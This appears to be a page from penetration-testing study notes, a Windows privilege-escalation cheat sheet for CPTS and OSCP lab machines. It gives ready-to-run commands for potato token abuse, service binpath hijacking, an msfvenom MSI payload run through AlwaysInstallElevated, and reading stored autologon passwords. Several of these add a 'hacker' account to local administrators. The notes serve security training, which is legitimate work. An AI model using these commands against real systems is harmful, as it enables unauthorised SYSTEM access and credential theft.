Privesc Primer
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
Leads for Windows privilege escalation, roughly in the order they pay off on CPTS and OSCP boxes. Each lead has the command that finds it, what a hit looks like, and the next step. The enumeration pass that produces these leads is in Local Enumeration. Check LOLBAS for a signed binary that does what you need.
Lead table
| Lead | Command | Next step |
|---|---|---|
| Token privileges | whoami /priv |
SeImpersonate potato, SeBackup to read SAM |
| Credentials | cmdkey /list, config files |
Reuse, runas /savecred, pass-the-hash |
| Service permissions | accesschk.exe -uwcqv <user> * |
Reconfigure the service binary |
| Unquoted service path | Get-CimInstance Win32_Service |
Plant a binary in the path |
| AlwaysInstallElevated | reg query ...\Installer |
Install a malicious MSI |
| Scheduled tasks | schtasks /query /fo LIST /v |
Writable task binary or script |
| Autologon | reg query ...\Winlogon |
Read the stored password |
| Missing patches | systeminfo, Get-HotFix |
Exploit suggester, PrintNightmare |
Token privileges
List the privileges the current token holds:
whoami /priv # privileges, enabled and disabledSeImpersonatePrivilegeis the common service-account win (IIS, MSSQL, and most service logons hold it). A “potato” abuses it to run a command asSYSTEM:GodPotato.exe -cmd "cmd /c net localgroup administrators hacker /add"PrintSpoofer.exe -i -c cmd.exeGodPotatocovers Windows 8 through 11 and Server 2012 through 2022, so it is the default now.PrintSpooferneeds the Print Spooler service, which PrintNightmare hardening often disables. Match theGodPotatobuild to the target’s .NET version.SeBackupPrivilegereads any file, so it copies theSAMandSYSTEMhives for offline hash extraction (see Looting (Windows)).SeDebugPrivilegedumps another process, including LSASS.
Credentials and reuse
Saved credentials, and an autologon password left in the registry:
cmdkey /list REM saved credentials for this userreg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword REM autologon password- Hit: a
Domain Passwordentry incmdkey, or aDefaultPasswordvalue underWinlogon. - Next: reuse a saved credential with
runas /savecred /user:<user> cmd, or reuse a found password and hash across the network. Credential stores and pass-the-hash are in Looting (Windows), and searching for passwords in files is in Hunting (Windows).
Service misconfigurations
A service runs as SYSTEM, so control over what it launches is a SYSTEM shell. Three
misconfigurations give that control.
Weak service permissions. Check which services the current user can reconfigure with accesschk
(Sysinternals):
accesschk.exe -uwcqv "%USERNAME%" * REM services this user can change- Hit:
SERVICE_CHANGE_CONFIGorSERVICE_ALL_ACCESSon a service. - Next: point its binary at your payload, then restart it:
Keep the space aftersc config <service> binpath= "cmd /c net localgroup administrators hacker /add"sc stop <service> & sc start <service>
binpath=.
Unquoted service path. A service path with spaces and no quotes lets Windows run an earlier binary:
Get-CimInstance Win32_Service | Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' -and $_.PathName -notmatch '\\Windows\\' } | Select-Object Name, PathName- Hit:
C:\Program Files\Some App\service.exewith no quotes, where you can write toC:\orC:\Program Files\. - Next: plant
C:\Program.exe(orSome.exein the folder), then restart the service. Windows tries your binary first.
Modifiable service binary. A service binary you can overwrite: replace it with a payload and restart the service.
AlwaysInstallElevated
When both keys are 1, any MSI installs as SYSTEM:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated- Hit:
AlwaysInstallElevated REG_DWORD 0x1in both hives. - Next: build an MSI payload and install it:
msfvenom -p windows/x64/exec CMD='net localgroup administrators hacker /add' -f msi -o e.msimsiexec /quiet /qn /i C:\Windows\Temp\e.msi REM install the payload as SYSTEM
Scheduled tasks
Read the tasks and the binary each runs:
schtasks /query /fo LIST /v # tasks, their run-as user, and their action- Hit: a task that runs as
SYSTEMor an admin on a schedule, whose script or binary you can write. - Next: overwrite that script or binary with a payload and wait for the next run.
Missing patches
Last resort, because a kernel exploit can crash the host. Read the build and installed patches:
systeminfo # OS build and hotfixesGet-HotFix # installed updates- Next: feed
systeminfoto an exploit suggester, or match the build against a known local exploit. PrintNightmare (CVE-2021-34527) and PrintSpoofer target the Print Spooler. HiveNightmare (CVE-2021-36934) reads theSAMas a normal user on unpatched Windows 10. Check the exact build before trusting any of these.
Checklist
whoami /priv: SeImpersonate potato, SeBackup, SeDebug.cmdkey /listandWinlogonfor stored and autologon credentials. Reuse everywhere.accesschkfor weak service permissions, then reconfigure the binary.- Unquoted service paths you can write into.
AlwaysInstallElevatedin both hives.- Scheduled tasks with a writable binary or script.
systeminfoandGet-HotFixfor missing patches, as a last resort.